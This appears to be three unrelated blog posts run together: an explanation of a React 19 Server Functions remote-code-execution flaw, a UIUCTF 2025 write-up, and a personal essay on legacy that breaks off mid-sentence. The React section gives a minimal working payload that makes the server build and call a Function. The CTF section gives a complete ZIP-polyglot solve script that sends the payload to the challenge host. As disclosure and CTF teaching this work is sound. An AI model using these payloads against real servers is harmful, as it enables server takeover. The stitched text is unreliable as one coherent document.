In React 19, a new feature called "Server Functions" was introduced. This essentially allows RPC calls to be made from the client using the same Flight machinery. For this, the use server directive was added to mark a function as a server function.

For instance, this form submission would call the myServerAction function on the server:

<form action={myServerAction}>
  <input name="email" />
  <button type="submit" />
</form>

At a high level, the client runtime:

1. Intercepts the submit event
2. Reads the browser's FormData object
3. Re-encodes that data into Flight chunks (IDs 0, 1, 2, ...) representing the arguments to myServerAction
4. Sends it to the server as a POST targeted at the server-action endpoint (e.g. Next.js’ Next-Action route), with:
   • Next-Action: <id> (or rsc-action-id), indicating the ID of the action to call
   • Content-Type: multipart/form-data; boundary=...
   • Parts named 0, 1, 2, ..., whose values are Flight-encoded strings representing the arguments to myServerAction.

On the server, Next.js hands the FormData instance straight into React's decoder, which treats the parts as Flight chunks and feeds them through reviveModel.

The exploit makes use of this feature to send a serialized object that eventually results in the server constructing a Function object and calling it.

The Exploit

There are now several public PoC exploits circulating online. Lachlan Davidson was the original reporter of the vulnerability, and his PoC is available here.

maple3142 was the first to publish a public exploit, more than 24 hours after the public patch came out. I've known Maple through the CTF community for a while, and honestly, I'm not surprised that a CTF player was the first to reverse engineer an exploit for this vulnerability. Many in the community have called this a very CTF-like exploit: it requires diving deep into React internals, understanding the Flight protocol, and some ingenuity (i.e. "hacker mindset") to come up with a working exploit.

A minimum viable exploit looks like this:

{
  0: {
    status: "resolved_model",
    reason: 0,
    _response: {
      _prefix: "console.log('1337')//",
      _formData: {
        get: "$1:then:constructor",
      },
    },
    then: "$1:then",
    value: '{"then":"$B"}',
  },
  1: "$@0",
}

Moritz Sanft gave a great technical breakdown of why this works here, which I highly recommend reading. I will try to break this down for technical but non-security folks.

Accessing JavaScript Internals

This patch gives us a clue: it adds hasOwnProperty checks to check whether the key being resolved actually exists on the object that it was accessing.

Prior to this patch, we could access the constructor property of any object:

{
  0: ["$1:__proto__:constructor:constructor"]
  1: {"x": 1},
}

For those unacquainted with JavaScript quirks, the constructor property of any Object is a reference to the function that was used to create the object. Note that this returns a reference to the function itself, not just the function name. This means that going two levels up the prototype chain gives us the constructor of the constructor, i.e. Function itself.

> {}.constructor
[Function: Object]
> {}.constructor.constructor
[Function: Function]
> {}.constructor.constructor("console.log(1337)")()
1337

Making a Fake Promise

Now what we need is a gadget to achieve RCE. We want to find some way to call this constructor with a user-controlled argument.

The basic idea behind the public PoCs is that we can make chunk 0 look like a Promise object, and have React treat it as such. Since JavaScript is a dynamically typed language, there are no guarantees on whether the object is actually a Promise object, or just some other object that happens to have a then property. Regardless, if something looks like a Promise, then for all intents and purposes, it is a Promise.

In the Flight protocol, the $@ syntax tells React that the chunk being referenced is a promise. By using this, we can make React call the then method of the "promise" object using the await ...then pattern.

Crucially, the internal representation of Chunk objects contains their own then method, which checks the status of the chunk and calls the appropriate handler.

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  switch (chunk.status) {
    case RESOLVED_MODEL: // "resolved_model"
      initializeModelChunk(chunk);
      break;
  }
  ...
}

The key of this exploit is that we can overwrite the .then of chunk 0 with the .then of chunk 1, which is exactly the method above!

Now, this chunk object that looks like a regular Promise is treated as such by React, so it calls the code above and we land in the switch statement.

From here, we can simply set status: "resolved_model" in our chunk object so that we land in the initializeModelChunk function, which is where the magic happens.

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  ...
  const rawModel = JSON.parse(resolvedModel);
  const value: T = reviveModel(
    response,
    {'': rawModel},
    '',
    rawModel,
    rootReference,
  );
  ...
}

Here, our .value is parsed as a JSON object and passed to reviveModel, which is a function that recursively deserializes the JSON object into a JavaScript object by resolving references.

case 'B': {
  const id = parseInt(value.slice(2), 16);
  const prefix = response._prefix;
  const blobKey = prefix + id;
  const backingEntry: Blob = (response._formData.get(blobKey): any);
  return backingEntry;
}

Here, we have our gadget! Since we control the response object, we can simply set _prefix to the contents of our desired function, e.g. console.log('1337'), and _formdata.get to the Function constructor, so that we construct Function('console.log(1337)').

This is then returned as the .then of our crafted Promise object, so that when the Promise is resolved by React, our custom function is called.

The Aftermath

WAF Mitigations

In the days following the vulnerability, major cloud providers and CDNs have implemented WAF mitigations to block exploits. Vercel has introduced a public bug bounty for WAF bypasses.

Many have compared this incident to the infamous Log4Shell vulnerability which happened in the same time of year back in 2021.

What makes this vulnerability quite different is that it is much harder to block using naive WAF rules. There are two layers of complexity to unpack here:

1. HTTP parser differentials: this issue is infamous in the security industry. James Kettle has spent years researching HTTP parser differentials between different web proxies and servers. A number of bypasses we have discovered and seen in the wild have been due to differences in how WAFs and the Node.js HTTP server + form data parsing libraries parse the HTTP request.
2. JavaScript internals: naive blacklisting of certain keywords essentially turns this into a "jail" CTF challenge. You have to be absolutely sure there is no way at all to get to the Function constructor.

Community Response

There has perhaps never been a better example in recent memory of the power of the security community to respond to critical vulnerabilities that threaten to break the Internet as we know it.

At Hacktron, we've been working closely with Vercel and other security teams to test mitigations and report bypasses. Similar work has been done by other teams, such as AssetNote.

This incident has also sparked some much-needed debate in the community about the place of human security research in an age of LLM hype. The complex exploit chain and deep study of React internals required to discover this vulnerability is a perfect example of why LLMs are not a substitute for real human security research right now.

We believe that 90% of security issues are variants of known patterns, but once in a while, we have novel ideas that require a deep understanding of the system being exploited, and this is where human security research shines. Right now, there is a lot of abstraction and a unique mental model required to come up with such exploits that LLM agents have yet to fully encapsulate.

The Server Functions feature was a relatively new one, and it's not surprising that a lot of its internals were not widely written about and only understood by a small number of people. That's why it took Lachlan and Maple so much time to discover and exploit it respectively. LLMs can certainly speed things up, but in their current state, I don't think that a fully autonomous agent would have been capable of discovering and exploiting this vulnerability.

This is why we work so closely with the security community at Hacktron. We believe that the human-LLM synergy is not only required in the immediate term, but also would be what keeps us winning in the long run.

As the situation unfolds, we'll be sharing more details about our work.

This was the premise of a recent CTF challenge from UIUCTF 2025 which I found particularly interesting. The challenge was solved by only 11 teams, and I managed to solve it with the help of Hacktron and a bit of random inspiration at 7AM on a Sunday morning.

This was my first time properly playing a CTF after almost a year in hiatus. This time playing mostly independently without a cracked team like Blue Water, I managed to solve all the web challenges within the first few hours, but got stuck on this one for quite a bit longer. It did make me realise how much I missed the sport, but also how much AI has fundamentally changed the game. After a long night getting stuck on a dead end, I customised a few Hacktron agents to help me out, and lo-and-behold, I solved it 2 hours later:

The Challenge

The challenge itself looks deceptively simple. We connect to a service over the network, which runs the following code:

#!/usr/bin/env python3
import tempfile
import subprocess
import os
 
comment = input("> ").replace("\n", "").replace("\r", "")
 
code = f"""print("hello world!")
# This is a comment. Here's another:
# {comment}
print("Thanks for playing!")"""
 
with tempfile.NamedTemporaryFile(mode="w", suffix=".py", delete=False) as f:
    f.write(code)
    temp_filename = f.name
 
try:
    result = subprocess.run(
        ["python3", temp_filename], capture_output=True, text=True, timeout=5
    )
 
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="")
 
except subprocess.TimeoutExpired:
    print("Timeout")
finally:
    os.unlink(temp_filename)

Essentially, a Python file is created with the following content, and we can inject arbitrary content into the comment:

print("hello world!")
# This is a comment. Here's another:
# <user input>
print("Thanks for playing!")

However, since input() only scans for one line, and the CR (\r) and LF (\n) characters are removed anyway, it seems we can only inject a single line of text after the # (i.e. we can't escape out of the comment to write executable code). How can we possibly execute arbitrary code in this context?

Idea 1: Parser Bugs

BTW this was a dead end, so if you want the actual solution, skip to the next section.

I chanced upon this issue which described a parser bug that was fixed in Python 3.12.0 and 3.11.4. Essentially, lines in the source code could be terminated early by a null byte (since C-strings are null-terminated), which led to unexpected behaviour in the parser.

However, the challenge used a version of Python 3.11 that was not vulnerable to this specific bug. Notably, the fix was originally only introduced in Python 3.12, but was later backported into Python 3.11. The challenge specifically mentioned Python 3.11, so I thought that maybe there were other parser bugs that remained in this version of Python. I wanted to look into the main changes between the parser implementation in Python 3.12 and 3.11, but it was a lot of code to sift through.

Hacktron to the Rescue

So I wrote a quick agent based on our Hacktron framework to help me out. It looked something like this (redacted, but you get the idea):

class ObservedDiff(BaseModel):
    old_file: str
    old_line: int
    new_file: str
    new_line: int
    summary: str
    description: str
    diff: str
 
 
class ObservedDiffs(BaseModel):
    observed_diffs: List[ObservedDiff]
    overview: str
 
 
TASK = """The old/ folder contains the old version of the codebase.
The new/ folder contains the new version of the codebase.
 
Find the differences between the two versions of the codebase, focusing on the following ONLY:
- files in the Parser/ folder
 
For each difference, provide an overview of the difference in the description and summary fields.
 
Explain clearly what the logical difference is between the two versions of the codebase in the overview field.
"""
 
RULES = """
<REDACTED>
"""
 
# ----- Heavily simplified pseudocode -----
tools = [
    ...
    MyDiffTool(),
    ...
]
 
agent = MyAgent(
  tools=tools,
  structured_output=ObservedDiffs,
  task=TASK,
  rules=RULES,
)
agent.run()

The overview output was something like this:

1. Introduction of New Language Features (Type Parameters and Type Aliases):

• The most prominent change is the full integration of type parameters (e.g., def func[T]():, class MyClass[T]:) and the new type statement for type aliases (type MyType = int) into the AST and parsing logic.

• Python.asdl was updated to define the AST nodes for TypeAlias and type_param (including TypeVar, ParamSpec, TypeVarTuple).

• parser.c gained new PEG grammar rules to parse these new syntax elements.

• action_helpers.c was updated to handle the construction of AST nodes with the new type_params fields.

• This indicates a forward-looking enhancement to support more advanced static typing features in Python.

2. Refactoring and Modernization of the Parser Core:

• There's a consistent effort to modernize and improve the C-API usage and internal mechanisms of the PEG parser.
• Reference Counting: Widespread adoption of Py_NewRef and PyUnicode_InternImmortal over Py_INCREF and PyUnicode_InternInPlace across asdl_c.py and pegen.c, reflecting best practices for C-API usage and better support for multi-interpreter environments.
• Tokenization and Error Handling: The Token struct in pegen.h now supports metadata, and the tokenization process in pegen.c and pegen_errors.c is more robust, using a structured struct token and improved lifecycle management. Error reporting has become more precise with use_mark and better f-string error propagation.
• F-string Parsing Overhaul: The dedicated FstringParser mechanism in string_parser.c and string_parser.h has been completely removed and replaced with a more integrated approach. This suggests that f-string parsing is now handled more directly by the core PEG parser, likely simplifying the codebase and improving performance.
• Thread and Subinterpreter Safety: Changes in myreadline.c explicitly address thread safety and subinterpreter isolation for global callbacks, ensuring the parser behaves correctly in complex runtime environments.

• Performance and Debugging: Refactoring of byte-to-character offset calculations in pegen.c for better UTF-8 handling, and the addition of a debug field to the Parser struct, point towards ongoing performance optimizations and improved debugging capabilities.

Most of these were not really relevant at all, and the only interesting lead was the f-string parsing.

{
      "old_file": "./old/Parser/string_parser.c",
      "new_file": "./new/Parser/string_parser.c",
      "summary": "Complete redesign of string and f-string parsing, replacing the old FstringParser mechanism with a more integrated and generalized approach.",
      ...
}

The description was something like this:

The string_parser.c file has undergone a complete overhaul in its approach to parsing f-strings and possibly other string literals. The old FstringParser struct and its associated helper functions (e.g.,_PyPegen_FstringParser_Init,_PyPegen_FstringParser_ConcatFstring,_PyPegen_FstringParser_Finish) have been entirely removed. They are replaced by new, more generalized functions like _PyPegen_parse_string and _PyPegen_decode_string. This indicates that the complex, stateful f-string parsing mechanism has been replaced with a simpler, more integrated approach, likely leveraging the enhanced token and parser infrastructure (as seen in pegen.c and pegen.h).

This was a bit of a long shot, given that our injection point wasn't even in an f-string. But I decided to look into it anyway, and got side-tracked for an hour or so understanding how it worked. I now know way too much about Python's parser internals, but for the purposes of this writeup, I will skip the details. All you need to know is that this was a dead end...

Idea 2: Polyglot Files

When solving CTF challenges, a strategy I taught myself was timeboxing each lead to a few hours, and if I didn't make any progress, I would step back and look at the big picture again. At this point I had spent almost half a day on looking for parser bugs and was getting nowhere.

I looked at the challenge again. We're running a file from the command line: python3 <temp_filename>. We don't control the filename, which always ends in .py, but we do control the contents of the file to a limited extent.

result = subprocess.run(
    ["python3", temp_filename], capture_output=True, text=True, timeout=5
)

I vaguely remembered that .pyc files (compiled Python bytecode) can be run from the command line just like a regular .py file can, and would run even if renamed to have a .py extension.

This was yet another long shot, because .pyc files have magic headers, defined by PYC_MAGIC_NUMBER_TOKEN in pycore_magic_number.h, that appear at the start of the file, and we don't control the start of the file. More details about the .pyc format here.

But this got me thinking about understanding the way Python decides what kind of file it is dealing with, since it clearly doesn't infer that from the file extension.

Understanding Python's File Type Detection

Hacktron to the Rescue

At this point, we've been testing a new internal debug UI for experimenting with our agents. Here's me giving it a spin with a task to find out how Python handles file types:

Looking at the resulting trace, I found an interesting snippet:

The central dispatch logic resides in an if/else if/else block starting at Modules/main.c:603:

   if (config->run_command) {
       *exitcode = pymain_run_command(config->run_command);
   }
   else if (config->run_module) {
       *exitcode = pymain_run_module(config->run_module, 1);
   }
   else if (main_importer_path != NULL) {
       *exitcode = pymain_run_module(L"__main__", 0);
   }
   else if (config->run_filename != NULL) {
       *exitcode = pymain_run_file(config);
   }
   else {
       *exitcode = pymain_run_stdin(config);
   }

• Command Execution (run_command): If the run_command field of the PyConfig struct is set (typically via the -c command-line flag), the interpreter executes the provided string as a Python command by calling pymain_run_command.
• Module Execution (run_module): If run_command is not set but run_module is (typically via the -m flag), the interpreter runs the specified module by calling pymain_run_module.
• Package Execution: An interesting case arises if main_importer_path is not NULL. This variable is set earlier in the function (at Modules/main.c:562) if the run_filename points to a directory or a ZIP archive containing a __main__.py file. In this scenario, the interpreter executes the package as a module by calling pymain_run_module(L"__main__", 0).
• File Execution (run_filename): If none of the above conditions are met and run_filename is set, the interpreter proceeds to execute a script from a file. This is the most common execution path when a script is passed as a command-line argument.
• Interactive Mode / Stdin: If no command, module, or filename is provided, the interpreter falls back to pymain_run_stdin. This function is responsible for either reading and executing code from standard input or, if the input is a TTY, starting the interactive Read-Eval-Print Loop (REPL).

The package execution case was particularly interesting! If the main_importer_path is set, then the logic is different from running a Python script directly, and this is the case when the filename "points to a directory or a ZIP archive containing a __main__.py file".

Apparently, Python had allowed the interpreter to execute ZIP files since version 2.6. This was intended for the use of ZIP archives as a way to distribute Python packages, but this also meant that if we could somehow get Python to treat our file as a ZIP archive we could potentially execute arbitrary code.

As suggested by the trace, the relevant code that determines the main_importer_path is as follows:

Modules/main.c:557

if (config->run_filename != NULL) {
    /* If filename is a package (ex: directory or ZIP file) which contains
        __main__.py, main_importer_path is set to filename and will be
        prepended to sys.path.
 
        Otherwise, main_importer_path is left unchanged. */
    if (pymain_get_importer(config->run_filename, &main_importer_path,
                            exitcode)) {
        return;
    }
}

I put Hacktron to work again to figure out how pymain_get_importer determines whether the file is a ZIP archive, and how the archive is parsed. I gave it the following task:

In Modules/main.c, the following code determines whether a ZIP file is run.

if (config->run_filename != NULL) {
    /* If filename is a package (ex: directory or ZIP file) which contains
        **main**.py, main_importer_path is set to filename and will be
        prepended to sys.path.
 
      Otherwise, main_importer_path is left unchanged. */
   if (pymain_get_importer(config->run_filename, &main_importer_path,
                           exitcode)) {
       return;
   }
}

Trace the relevant code paths to explain in detail how a ZIP file is detected, and how it is parsed. Follow all associated paths fully, and provide a clear chronological explanation from file type detection to execution.

and got it to produce some customised structured output.

First, we learn that the zipimporter class is one of the importer hooks that PyImport_GetImporter attempts to use (it is also the first one).

The process begins in Modules/main.c with pymain_get_importer being called if config->run_filename is set. This function acts as a bridge to the Python import system, calling PyImport_GetImporter. PyImport_GetImporter retrieves sys.path_hooks, a list of callable importer hooks.

Crucially, during Python's initialization, the zipimporter class from the zipimport module is imported and inserted at the beginning of sys.path_hooks. This ensures zipimporter is the first to attempt to handle the run_filename.

The actual ZIP file detection occurs within the zipimporter's __init__ method. It verifies the path exists and is a regular file, then calls _read_directory. _read_directory parses the ZIP file structure by seeking the 'End of Central Directory Record' (identified by magic bytes b'PK\x05\x06') and building an internal dictionary of file metadata. If the file does not conform to the ZIP format, a ZipImportError is raised.

Crucially, it appears that _read_directory will start parsing the ZIP file structure as long as it finds an End of Central Directory Record (EOCD), which (as the name suggests) appears towards the end of the file. This solves our problem of only being able to control the middle of the file, since we can simply add a valid EOCD towards the end of our input, and make the trailing junk part of the EOCD record. A quick look at the Wikipedia page tells us that the EOCD record can end with a comment. More on this later!

Next, we learn the expected format of the ZIP file. We just need a ZIP file that contains either a __main__.py or __main__.pyc file, which is what the interpreter will look for when it tries to run the ZIP file.

Once run_filename is identified as a valid ZIP file, the zipimporter instance is returned. The interpreter then interacts with this instance to locate __main__.py.

It calls find_spec('__main__') on the zipimporter, which in turn calls _get_module_info. _get_module_info constructs potential paths for the module (e.g., __main__.py, __main__.pyc) and checks if these exist within the self._files dictionary (populated during the detection phase).

If __main__.py (or __main__.pyc) is found, find_spec returns a ModuleSpec object. This ModuleSpec indicates that the zipimporter is capable of loading the __main__ module.

Constructing a Valid ZIP File

How zipimporter Parses ZIP Files

Okay, but how does one construct a valid ZIP file that can be executed by the Python interpreter (or can we even)?

To answer this, we first need to understand how zipimporter parses ZIP files. To do this, I modified yet another Hacktron agent to teach me.

The provided code is the source code for the Python 3.11 CPython implementation.

Your task is to find out how the zipimporter parses ZIP files. You need to explain clearly how a valid ZIP file is parsed, and whether an injection into a regular Python file can be used to trick the parser into running a ZIP file.

Explain this process in distinct sections, making reference to source code.

This gave a pretty good overview, so I won't add my own commentary here:

When a zipimporter instance is created with a path (e.g., zipimporter('archive.zip')), its __init__ method (Lib/zipimport.py:53) calls _read_directory(path) (Lib/zipimport.py:73). This function is responsible for parsing the ZIP file’s central directory and caching its contents.

Identifying a Zip File (Magic Bytes):

_read_directory first opens the potential ZIP archive using _io.open_code(archive) (Lib/zipimport.py:339).

It then seeks to the end of the file to locate the End of Central Directory Record (EOCD). It checks for the magic number b'PK\x05\x06' (STRING_END_ARCHIVE) at the expected position (22 bytes from the end) or by searching backwards for it if a comment is present (Lib/zipimport.py:353, Lib/zipimport.py:429). This is the primary indicator that the file is a ZIP archive.

Parsing the Central Directory End (CDE) Record:

Once the EOCD is found, _read_directory unpacks crucial information from it, including the header_size (size of the central directory) and header_offset (offset of the central directory from the start of the archive) using _unpack_uint32 (Lib/zipimport.py:378-Lib/zipimport.py:379).

Iterating Through Zip Entries (Central Directory):

The function then seeks to the calculated header_position (start of the Central Directory) (Lib/zipimport.py:390).

It enters a loop, reading each Central Directory File Header (CDFH). Each CDFH must start with the signature b'PK\x01\x02' (Lib/zipimport.py:395).

For each entry, it unpacks metadata such as compression method, data sizes, file offset, and file name length (Lib/zipimport.py:399-Lib/zipimport.py:412). This metadata, including the file name (decoded from bytes, first attempting UTF-8, then CP437/latin1) (Lib/zipimport.py:423-Lib/zipimport.py:429), is stored in an internal dictionary (self._files).

Locating and Loading Modules:

When the import system requests a module (e.g., via find_spec (Lib/zipimport.py:155)), zipimporter uses its cached_files dictionary to determine if the module exists within the archive.

The _get_data(archive, toc_entry) function (Lib/zipimport.py:461) is responsible for retrieving the actual file content. It seeks to the file_offset (which points to the Local File Header, typically starting with PK\x03\x04), reads and skips the local header, and then reads the compressed data.

If the data is compressed (e.g., DEFLATE, method 8), zlib.decompress is used (Lib/zipimport.py:479).

Finally, _get_module_code takes this raw data. If it’s a .pyc file, it validates the bytecode magic number and timestamp, then uses marshal.loads to deserialize the code object. If it’s a .py file, it compiles the source code using Python’s built-in compile function (Lib/zipimport.py:515, Lib/zipimport.py:521). The resulting code object is then executed to load the module.

A Brief Overview of the ZIP File Format

One thing to understand is that the reason why Python's "backwards" parsing of the ZIP file works is because ZIP files are characterised by the EOCD record at the end of the ZIP file. This EOCD record points to the start of a Central Directory (CD) which contains metadata about the files in the ZIP archive, including their names, sizes, and offsets. Each entry in the CD starts with a Central Directory File Header (CDFH), which points to the Local File Header (LFH) of each file, which are followed by the actual (compressed) file data.

Note that both the EOCD and CD headers point "backwards" to an offset earlier in the file. Therefore, it doesn't actually matter what appears before the LFHs, as long as the relative offsets point to the correct locations.

Our Plan

What we want to do is to construct a valid ZIP file as follows (the parts we control are in red, and the parts we don't are in grey):

When zipimporter parses the file, it will:

1. Seek to 22 bytes from the end of the file to check for the magic number b'PK\x05\x06' (the EOCD record).
2. It doesn't find the magic number because we have the trailing junk \r\nprint("Thanks for playing!") at the end of the file, so it will go back to file_size - MAX_COMMENT_LEN - END_CENTRAL_DIR_SIZE to see if the record exists between earliest possible position and the end of the file based on the maximum possible EOCD comment length.

Lib/zipimport.py:421-238

if buffer[:4] != STRING_END_ARCHIVE:
  # Bad: End of Central Dir signature
  # Check if there's a comment.
  try:
      fp.seek(0, 2)
      file_size = fp.tell()
  except OSError:
      raise ZipImportError(f"can't read Zip file: {archive!r}",
                            path=archive)
  max_comment_start = max(file_size - MAX_COMMENT_LEN -
                          END_CENTRAL_DIR_SIZE, 0)
  try:
      fp.seek(max_comment_start)
      data = fp.read()
  except OSError:
      raise ZipImportError(f"can't read Zip file: {archive!r}",
                            path=archive)
  pos = data.rfind(STRING_END_ARCHIVE)

3. It finds our EOCD record which appears in front of the trailing junk. Our EOCD record will point to the start to our CDFH, which we also control.
4. The CDFH will point to the LFH, which we also control.
5. The LFH will point to the actual file data of __main__.py, which we also control.

Making our Payload ASCII-Safe

There is an additional complication here. Because input() reads a text stream instead of the raw bytes, any bytes \x80 and above (which are invalid UTF-8 sequences) will be converted into the surrogate range U+D800 to U+DFFF. This will cause the file write to fail, because thef.write() will attempt to encode the string into UTF-8, which will fail if it contains any surrogate pairs.

To avoid this, we need to ensure that our payload is ASCII-safe, i.e. it only contains characters in the range \x00-\x7f.

This is clearly not feasible if the file content is compressed, but thankfully the ZIP format allows us to store files without compression by setting the compression method to 0 (i.e. ZIP_STORED). This is specified by the compression method field in the CDFH.

An additional place where this problem occurs is in the CRC-32 checksum computed over the uncompressed file data. To get around this, we can just brute-force a suffix to place at the end of our __main__.py file that will make the CRC-32 checksum ASCII-safe, as shown in the diagram above.

def ascii_safe(x: int) -> bool:
    """True if all four bytes have high bit clear."""
    return all(((x >> (8 * i)) & 0x80) == 0 for i in range(4))
 
def find_suffix(core: bytes, length: int = 4) -> bytes:
    """Brute-force an ASCII suffix of given length making CRC 32 valid."""
    printable = range(0x20, 0x7F)         # space … tilde
    for tail in itertools.product(printable, repeat=length):
        payload = core + bytes(tail)
        crc     = zlib.crc32(payload) & 0xFFFFFFFF
        if ascii_safe(crc):
            return bytes(tail), crc
    raise RuntimeError("unexpected: no suffix found")

The last place where this problem occurs is in the CD offset. If our payload is too long, the offset will exceed 127 bytes, which introduces a non-ASCII byte. To get around this, we just add padding after the file contents and before the CDFH, so that the offset contains only ASCII-safe bytes, e.g. \x01\x00.

# patch CD offset to make it ASCII safe
cd_offset = delta + len(lfh) + len(PAYLOAD)
 
pad = 0
while not ascii_safe(cd_offset + pad):
    pad += 1
padding = b'\x00' * pad
 
cd_offset += pad

Putting it All Together

Our final payload looks like this:

which we construct and send to the service with the following code:

import io, struct, zipfile, pathlib
import itertools
import zlib
from pwn import remote
 
JUNK_HEAD = """print("hello world!")
# This is a comment. Here's another:
# """.encode()
JUNK_TAIL = """
print("Thanks for playing!")"""
 
FILENAME = b"__main__.py"
BODY     = b"print(open('/home/ctfuser/flag').read())#"
 
def ascii_safe(x: int) -> bool:
    """True if all four bytes have high bit clear."""
    return all(((x >> (8 * i)) & 0x80) == 0 for i in range(4))
 
def find_suffix(core: bytes, length: int = 4) -> bytes:
    """Brute-force an ASCII suffix of given length making CRC 32 valid."""
    printable = range(0x20, 0x7F)         # space … tilde
    for tail in itertools.product(printable, repeat=length):
        payload = core + bytes(tail)
        crc     = zlib.crc32(payload) & 0xFFFFFFFF
        if ascii_safe(crc):
            return bytes(tail), crc
    raise RuntimeError("unexpected: no suffix found")
 
SUFFIX, CRC = find_suffix(BODY)
PAYLOAD     = BODY + SUFFIX
SIZE        = len(PAYLOAD)
 
def le32(x): return struct.pack("<I", x)
def le16(x): return struct.pack("<H", x)
 
SIG_LFH  = 0x04034B50
SIG_CDH  = 0x02014B50
SIG_EOCD = 0x06054B50
 
# --------------------------------------------------------------------
# build the ZIP file
# --------------------------------------------------------------------
 
delta = len(JUNK_HEAD)
 
# Local file header
lfh  = le32(SIG_LFH)
lfh += le16(0)          # version needed to extract
lfh += le16(0)          # general purpose bit flag
lfh += le16(0)          # compression method = stored
lfh += le16(0)          # last mod file time
lfh += le16(0)          # last mod file date
lfh += le32(CRC)
lfh += le32(SIZE)       # compressed size
lfh += le32(SIZE)       # uncompressed size
lfh += le16(len(FILENAME))
lfh += le16(0)          # extra field length
lfh += FILENAME
 
# Central directory header
cdh  = le32(SIG_CDH)
cdh += le16(0)          # version made by
cdh += le16(0)          # version needed
cdh += le16(0)          # flags
cdh += le16(0)          # method
cdh += le16(0)          # time
cdh += le16(0)          # date
cdh += le32(CRC)
cdh += le32(SIZE)
cdh += le32(SIZE)
cdh += le16(len(FILENAME))
cdh += le16(0)          # extra len
cdh += le16(0)          # comment len
cdh += le16(0)          # disk #
cdh += le16(0)          # int attrs
cdh += le32(0)          # ext attrs
cdh += le32(delta)      # relative offset of LFH
cdh += FILENAME
 
# patch CD offset to make it ASCII safe
cd_offset = delta + len(lfh) + len(PAYLOAD)
 
pad = 0
while not ascii_safe(cd_offset + pad):
    pad += 1
padding = b'\x00' * pad
 
cd_offset += pad
 
# end of central directory record
eocd  = le32(SIG_EOCD)
eocd += le16(0)         # disk #
eocd += le16(0)         # disk where CD starts
eocd += le16(1)         # # entries on this disk
eocd += le16(1)         # total # entries
eocd += le32(len(cdh))  # size of central directory
eocd += le32(cd_offset) # offset of CD
eocd += le16(len(JUNK_TAIL)) # ZIP comment length
 
zip_bytes = lfh + PAYLOAD + padding + cdh + eocd
zip_bytes = bytearray(zip_bytes)
assert all(b < 0x80 for b in zip_bytes), "non-ASCII byte detected!"
 
# --------------------------------------------------------------------
# solve the challenge
# --------------------------------------------------------------------
 
with open("polyglot.zip", "wb") as f:
    f.write(JUNK_HEAD + zip_bytes + JUNK_TAIL.encode())
 
conn = remote("comments-only.chal.uiuc.tf", 1337, ssl=True)
conn.sendlineafter(">", zip_bytes)
print(conn.recvall().decode('latin-1'))

This gives us the flag:

$ python3 solve.py
[+] Opening connection to comments-only.chal.uiuc.tf on port 1337: Done
[+] Receiving all data: Done (38B)
[*] Closed connection to comments-only.chal.uiuc.tf port 1337
 uiuctf{yeehaw_954b4b3814b22c0b4eecd}

Conclusion

I think I wouldn't have solved this challenge (or at least not as quickly) without the help of Hacktron. In general, AI has helped me a lot in this CTF. This challenge was the best example of this, but I also used AI to help me in:

• Writing exploits for the final web challenge, which involved an interesting side channel involving the TypeScript compiler.
• All of the cryptography challenges. Interestingly, o3 was able to one-shot them.

Hacktron's flexibility was also a game changer, allowing me to quickly adapt it to my needs and get it to do exactly what I wanted. I think this is a good example of how AI can be used to augment human capabilities, and I'm excited to see how it will continue to evolve in the future.

In particular, I think that human pentesters and security researchers will soon be able to customise agents in very specific ways to improve their productivity in the immediate future, and Hacktron will be part of that. With highly performant and versatile agents that can be plugged into a wide range of existing workflows and components of the software development lifecycle, I think we will see a new era of AI-assisted security engineering.

Have I done enough to justify my existence? Have I been a net positive to the world? If someone erased my existence from the timeline, would the world look any different? Would people miss me? Would I have left a legacy?

Temporal discounting

I think the reason this question hit me so hard is because it made me realize how much of a role temporal discounting has, so far, played in my life. Put simply, temporal discounting is the tendency to value immediate rewards more than future ones. It's why we procrastinate, why we eat junk food, and why we don't save for retirement. But it's also why, for most of my life, I didn't really think about what I was optimizing for in the long term.

Even as I'm now building a startup, I find myself thinking about the next few months, the next year, but it's really hard to think about the next 10 years, or 20 years. I also kind of landed in this space by accident — at the time, I was trying to avoid serving the military as an infantry soldier, so I decided to apply to serve as a cybersecurity specialist instead. I borrowed a 500-page textbook from my teacher, read it cover to cover right before the test, and somehow got in. I didn't think that a few years later, I would be competing in the DEF CON CTF finals, or that I would be making a salary within the top 1% of people my age doing freelance pentesting, or that I would be building a startup in cybersecurity.

Even when I ultimately went to Cambridge, I didn't really think about what that would have meant for my life once I graduated. I just had a vague idea that it would be prestigious and would unlock some doors for me. Ultimately, it did get me a prestigious internship which I ended up not taking, and I could have just as easily started Hacktron 2 years ago without ever going to Cambridge.

Perhaps I wouldn't have met my current investors, or perhaps I would have met them in a different way. I wouldn't know.

What to optimise for?

Now that I have this realization, I think the question becomes: what do I want to optimize for? What should I be doing so that 10 years from now, if I were to die, I would feel like I had lived a life worth living?

I think growing up, this had meant different things to me at different times. When I was younger, for the longest time, it was about being the best at something. I refused to be average, and I guess if I had died the moment I hit my dream rank in League of Legends, I would have felt happy with my life.

At some point in the past few years, it became about making money. This was kind of a means to an end, because I thought that I wanted to buy my parents the best bungalow in Singapore and give my grandparents the best life possible. I thought if I got the highest paying job I could, I would be happy.

But I think I realized that this was a bit of a dead end. Put bluntly, I see this as just rebalancing a single coordinate in the universe — the world would be different if I had never existed, sure, but if you were to erase a few more people (like my parents and grandparents) from the timeline, the world would still be the same. This was sort of the bare minimum I could do to justify my existence as a zero-sum to the universe.

I think I want to optimise for scalable impact. I think there are many ways to make an outsized impact on a small number of people — just consider how many strangers you've met in your life that have influenced you in profound ways. But I think if someone has the ability and resources to do this on a much larger scale, they have a moral obligation to do so. I think startups are still the best way to do this, but again, what does impact even mean? Is it small incremental improvements to the world, in which case we can achieve a good approximation of the optimal solution with a hill climbing algorithm that chooses at each step the best local improvement? Or is the optimal solution something that is fundamentally different, and requires careful consideration of the problem space at the very beginning (and once you get it wrong, you can't really fix it)?

2 months

Even this goal is full of contradictions. If I had 2 months left to live, my priorities would likely shift dramatically towards a local optimum — I would want to spend time with my family and aim to make an outsized impact on a few people that I am close to.

Some people are just worth more than others, and I think that's okay. I told the person who asked me this question that if they had 2 months left to live, they should spend it travelling the world, and I would drop everything to join them, because I knew they would have done the same for me.

Risk aversion

I think that's part of why sometimes I find this path so scary. Prospect theory tells us that we are risk-averse when it comes to gains, but risk-seeking when it comes to losses.

